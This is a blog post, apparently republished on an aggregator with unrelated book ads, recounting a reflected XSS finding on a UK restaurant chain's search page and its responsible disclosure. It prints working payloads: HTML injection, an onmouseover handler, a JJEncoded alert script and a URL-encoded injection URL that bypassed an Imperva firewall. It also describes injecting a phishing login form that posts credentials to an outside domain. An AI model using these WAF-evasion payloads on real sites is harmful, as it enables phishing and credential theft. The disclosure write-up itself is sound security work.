内容简介:This is a story about an XSS vulnerability on a website for a popular UK restaurant chain which from this point forward I will simply refer to as "Shenanigan's". The interesting thing is not, infact, the XSS vulnerability but is about bypassing the Web App
This is a story about an XSS vulnerability on a website for a popular UK restaurant chain which from this point forward I will simply refer to as "Shenanigan's". The interesting thing is not, infact, the XSS vulnerability but is about bypassing the Web Application Firewall that was protecting it.
Lets start at the beginning where it should make a bit more sense.
I was in the Office and looking at the Shenanigans website trying to find out where my local was to see if they delivered. I mistyped the address I was searching for and was presented with a generic no results found.
The interesting thing here was that my search term was included in the response. Having just been playing with some XSS labs on Immersive Labs I threw a quick piece of HTML in to see what happened, i was just in a standard desktop and the first thing that popped in to my head was just to try some HTML tags adding testing in to the search box and hit search. Popping open dev tools I can see that I have HTML injection. This also appears in the URL as a search parameter search?search=<b>testing</b>#results
so we have Reflected XSS
This is bad but Javascript execution is worse so I try a new URL search?search=<script>console.log("XSS")</script>#results
Instead of my nice Console Message what i actuall ended up with was an Imperva block page.
A quick google shows me that Imperva is a Web Application Firewall used to protect websites from the kind of attacks that I was attemping. I tried a coupld of generic encodings and filter evasions but unsuprisingly i was blocked at each attempt and after a handfull of attempts the IP was blocked.
So Javascript was blocked by the WAF but the underlying website was still vulnerable to reflected XSS and I know I can inject HTML so I wanted to prove it could still be damaging even without the ability to run javascript.
After a short time playing I eneded up with a URL that would inject an HTML logon form that would POST
any entered credentials out to a domain that I owned.
As it was all in the URL i could generate a Link that appears to come from the legitimate Shenanigans domain and socially engineer users in to handing over their credentials.
Image of form
I still wasn't happy that I didnt have javascript execution so I started playing with some evasion techniques trying to identify what characters would trigger the XSS detection. After several attempts I managed to get a javascript error in the console.
Sending <code onmouseover="new hello;">test</code>
in the search query resulted in a javascript error in the console window
and more importantly it did not trigger the WAF.
So i could kind of run javascript but every time i tried to create an actual function or use standard javascript the WAF would kick in. I need to run Javascript that didnt look like Javascript.
Fortunatly, for me at least. I had seen this technique before. JJEncode and JS Fuck were techniques I had seen used by exploit Kits to obfuscate javascript payloads and redirect chains to hinder analysis and try to evade detection engines.
JJEncode and JSFuck take your javascript you want to execute and from that creates valid javascript code that uses no Alpha or Numeric characters instead it uses a set of symbols.
Taking a look at the example below we take a simple javascript line
alert("Hello, JavaScript" )
And after running jjencode we are left with
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+",\\"+$.$__+$.___+"\\"+$.__$+$.__$+$._$_+$.$_$_+"\\"+$.__$+$.$$_+$.$$_+$.$_$_+"\\"+$.__$+$._$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\\"\\"+$.$__+$.___+")"+"\"")())();
How this is valid javascript I assume is black magic, but it works.
I throw this in to the onmousover HTML tag and . . .
I hit the WAF again.
One more try this time I took the jjencoded output switch and ran a simple URL encode. This gave me a really ugly URL.
https://shenanigans/search?search=%3E%3C/span%3E%3Cp%20onmouseover=%27p%3D%7E%5B%5D%3Bp%3D%7B%5F%5F%5F%3A%2B%2Bp%2C%24%24%24%24%3A%28%21%5B%5D%2B%22%22%29%5Bp%5D%2C%5F%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%5C%22%22%2Bp%2E%24%5F%24%5F%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2Bp%2E%24%24%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%24%5F%2Bp%2E%5F%5F%2B%22%28%5C%5C%5C%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%5F%2Bp%2E%24%24%24%5F%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2Bp%2E%5F%24%2B%22%2C%5C%5C%22%2Bp%2E%24%5F%5F%2Bp%2E%5F%5F%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%24%2Bp%2E%5F%24%5F%2Bp%2E%24%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%24%24%5F%2Bp%2E%24%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%24%5F%2Bp%2E%5F%24%24%2Bp%2E%24%24%5F%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%5F%24%2Bp%2E%5F%5F%24%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%5F%5F%2Bp%2E%5F%5F%2B%22%5C%5C%5C%22%5C%5C%22%2Bp%2E%24%5F%5F%2Bp%2E%5F%5F%5F%2B%22%29%22%2B%22%5C%22%22%29%28%29%29%28%29%3B%27%3E
But the WAF didn't seem to care and once it landed at the web application I triggered the onmouseover event and up it popped, my Javascript alert.
At this point I had enough to start a responsible disclosure. There were two parts to this. One was to notify Shenanigans that I had found an issue on their website and second was to notify Imperva that They had a somewhat trivial bypass technique.
Imperva was the easy one. I emailed security at imperva.com and within the same day had an initial respose from them asking me for more information. I provided them with all the information I had and about a week later after a few back and forths they confirmed they had identifed the issue and would roll out updates. A nice simple and fast exchange.
Shenanigans was not so easy to get started.
I tried emails to security, info and support @ with no responses. I tried a webchat on their site and even resorted to phoning the customer support helpline all with little success in getting to the right part of the business.
After a couple of days without response I didnt want to just leave it and I didnt think that publicly revealing it was the best option either, So I took to linkedin and did a quick search for someone who could get me in touch the with the right team.
The first one I spotted that should yield some results was the Group CISO, this felt a little heavy handed but I just wanted someone to take a look at it. So I pinged him a direct message on LinkedIn.
From this point forward to was a simple and fast response. He apologised that it been so difficult to get through, thanked me for my perseverance and assured me that a better process for the customer facing teams would be put in place.
A few days later after providing them the same information I provided to Imperva they also confirmed that the vulnerability had been mitigated on their end.
At this point I called it a day, having made the Internet a little safer.
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
指数型组织
萨利姆•伊斯梅尔 (Salim Ismail)、迈克尔•马隆 (Michael S. Malone)、尤里•范吉斯特 (Yuri van Geest) / 苏健 / 浙江人民出版社 / 2015-8-1 / CNY 69.90
《指数型组织》是一本指数级时代企业行动手册。作者奇点大学创始执行理事萨利姆·伊斯梅尔归纳了指数型组织的11个强大属性,并提出了建立指数型组织的12个关键步骤。通过自己创建的一套“指数商”测试题,伊斯梅尔还测量出了指数型组织世界100强。 为什么小米、海尔和阿里巴巴能进入“指数型组织世界100强”名单?“独角兽”Uber、Airbnb、谷歌等知名企业是如何指数化自己的组织的? 未......一起来看看 《指数型组织》 这本书的介绍吧!
XML 在线格式化
在线 XML 格式化压缩工具
RGB CMYK 转换工具
RGB CMYK 互转工具